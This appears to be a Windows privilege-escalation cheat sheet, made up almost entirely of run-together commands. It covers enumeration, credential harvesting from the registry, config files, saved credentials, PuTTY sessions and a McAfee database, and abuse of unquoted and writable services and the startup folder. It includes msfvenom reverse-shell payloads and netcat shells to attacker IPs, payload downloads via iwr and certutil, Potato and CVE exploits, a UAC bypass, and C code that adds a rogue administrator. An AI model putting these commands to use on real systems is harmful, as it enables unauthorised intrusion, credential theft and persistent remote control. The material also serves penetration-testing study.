-> Enumerates all local accounts
net user-> Get information from a specific user
net user <user>-> Get information about all groups
net group /domain
-> Get information about local groups
net localgroup
-> Get informations about user
net user <user> /domain
-> Check user privileges
whoami /priv-> View groups you belong to
whoami /groups-> View interfaces and network information
ipconfig /all-> View all active TCP connections and the TCP and UDP ports the host is listening on
netstat -ant-> Firewall
netsh firewall show state
netsh firewall show config-> List running processes
tasklist-> View system tasks
schtasksschtasks /query /fo LIST /v-> Location Files
Get-ChildItem -Path C:\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\<user>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include local.txt,proof.txt,flag.txt -Recurse -ErrorAction SilentlyContinue -Force-> Winlogon
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword-> Stored Credentials
cmdkey /list-> Run cmd with stored credential
runas /savecred /user:<user> cmd.exeor
.\RunasCs.exe <user> <password> "C:\Windows\Temp\nc.exe <your-ip> <port> -e cmd.exe" -t 0 –bypass-uac-> Installed Softwares
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname-> Example
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
-> Detection
Get-CimInstance -ClassName win32_service | Select Name,State,PathNamewmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v ""
wmic service get Name,State,PathName | findstr "Program"
sc qc <service_name>
\\ BINARY_PATH_NAME display Unquoted Service Paths, without ""
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"-> Exploitation - attacker
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > name <name_inside_the_path>.exe
nc -nvlp <port>-> Exploitation - windows
iwr -uri <ip>/<service_eecutable_name> -Outfile <service_executable_name>
move <name_inside_the_path>.exe <service_path> sc stop <service_name>
sc start <service_name>or
shutdown /r-> Exploitation - Manually
- Create a file TestService.c
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user bob password@123 /add");
i = system ("net localgroup administrators bob /add");
return 0;
}
x86_64-w64-mingw32-gcc TestService.c -o TestService.exeiwr -uri http://192.168.10.20/TestService.exe -Outfile TestService.execopy .\TestService.exe "C:\Program Files\My Program\My service\TestService.exe"Stop-Service TestService
Start-Service TestService-> Exploitation - PowerUp.ps1
.\PowerUp.ps1Invoke-AllChecksGet-UnquotedServiceWrite-ServiceBinary -Name 'TestService' -Path "C:\Program Files\Enterprise Apps\TestService.exe"Restart-Service TestService-> Detection
. .\PowerUp.ps1
Get-ModifiableService -Verboseor
Get-ModifiableService -Verbose
wmic service get Name,State,PathName | findstr "Running" | findstr "Program"
wmic service get Name,State,PathName | findstr "Program"
icacls <pathname>
//(F) and (i) (F)
accesschk.exe -wuvc <service_name>
//RW Everyone
// SERVICE_CHANGE_CONFIG
sc qc <service_name>-> Exploitation - Windows [PrivEsc]
certutil -urlcache -f http://10.9.1.137:803/ok.exe ok.exe
sc config <name_ service> binPath="C:\Users\files\ok.exe" obj= LocalSystem
sc stop <service_name>
sc query <service_name>
sc start <service_name> PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Users\bob\Desktop\nc.exe 192.168.10.20 4444 -e cmd"- https://github.com/int0x33/nc.exe/
- https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
.\SigmaPotato "net user bob password@123 /add".\SigmaPotato "net localgroup Administrators bob /add".\GodPotato-NET4.EXE -cmd "C:\Temp\nc.exe 192.168.10.20 4444 -e cmd".\GodPotato-NET35.EXE -cmd "C:\Temp\nc.exe 192.168.10.20 4444 -e cmd"- https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
- https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe
-> Detection - windows
C:\Users\<user>\Desktop\Tools\Accesschk\accesschk64.exe -wvu ""C:\Program Files\Autorun Program"
\\FILE_ALL_ACCESS-> Exploitation - kali
msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f exe -o program.exeiex (iwr http://<file_server_IP>/PowerView.ps1 -Outfile program.exe)
move program.exe "C:\Program Files\Autorun Program"
logoff-> Detection - Windows
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | findstr (F)
\\BUILTIN\Users:(F)-> msfvenom - Attacker VM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o ok.exe-> Exploitation - Windows
iex (iwr http://<file_server_IP>/PowerView.ps1 -Outfile ok.exe)
move ok.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
logoffAfter obtaining a reverse shell on a machine with a local administrator user, it may be necessary to bypass User Account Control (UAC) to perform specific malicious actions, such as persistently installing malware, modifying security settings, or exploiting system vulnerabilities. This can be done through specialized techniques and tools designed to bypass the restrictions imposed by UAC.
-> Step 1 - Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f exe > ok.exe-> Step 2 - Win Owned
cd C:\Windows\tasks
iwr -uri 192.168.119.139:805/shell.exe -Outfile shell.exe
Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe-> Step 3 - Win Owned
iwr -uri 192.168.119.139:805/powerup.ps1 -Outfile powerup.ps1
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks[+] Run a BypassUAC attack to elevate privileges to admin.
-> Step 4 -Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.139 LPORT=8445 -f exe > ok.exe-> Step 5 - Win Owned
wget 192.168.119.139:805/Invoke-EventViewer.ps1 -O Invoke-EventViewer.ps1
. .\Invoke-EventViewer.ps1
Invoke-EventViewer cmd.exe /c "C:\Windows\tasks\shell2.exe"
Invoke-EventViewer C:\Windows\tasks\shell2.exe-> Powershell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt-> EXploiting Saved Windows Credentials
cmdkey /list
runas /savecred /user:admin cmd.exe-> IIS Configuration
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString-> Retrieve Credentials from Software: PuTTY
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s-> Unattended Windows Installations
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
-> Identify
dir /s *.db-> McAfee Enterprise Endpoint Security - Credentials used during installation
C:\ProgramData\McAfee\Agent\DB\ma.db
sqlitebrowser ma.db
python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>-> Get System Version
systeminfo-> Get Security Update
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }-> Exploit by CVE
.\CVE-2021-1732.exe.\CVE-2023-29360.exe- https://github.com/sickn3ss/exploits/tree/master
- https://github.com/sickn3ss/exploits/tree/master/CVE-2021-1732/CVE-2021-1732_20H2/x64/Release
- https://github.com/sickn3ss/exploits/tree/master/CVE-2023-29360/x64/Release
-> Installation
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py-> Privilege escalation + Reverse shell
hoaxshell -s <kali-ip> -p <port>-> PowerUp.ps1
. .\PowerUp.ps1
Invoke-AllChecks-> winPEASany.exe
winPEASany.exe-> windows-privesc-check2.exe
windows-privesc-check2.exe --dump -G-> Windapsearch.py
./windapsearch.py -d <domain> --dc-ip <ip> -U-> AdPEAS.ps1
. .\adPEAS.ps1
Invoke-adPEAS -Domain '<domain>' -Outputfile 'C:\Users\<user>\Desktop\adPEAS_outputfile' -NoColor-> PrivEsc.ps1
.\privesc.ps1
Invoke-PrivEsc